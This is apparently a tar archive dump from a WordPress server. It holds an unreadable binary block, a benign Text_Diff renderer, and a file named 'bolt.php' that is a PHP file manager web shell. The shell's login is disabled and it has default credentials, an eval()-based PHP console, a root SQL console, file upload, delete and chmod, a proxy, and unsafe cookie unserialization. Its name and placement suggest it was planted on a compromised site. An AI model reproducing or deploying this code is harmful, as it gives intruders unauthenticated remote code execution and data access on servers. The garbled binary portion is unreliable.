,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size ¡ú maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: gt;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: red;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
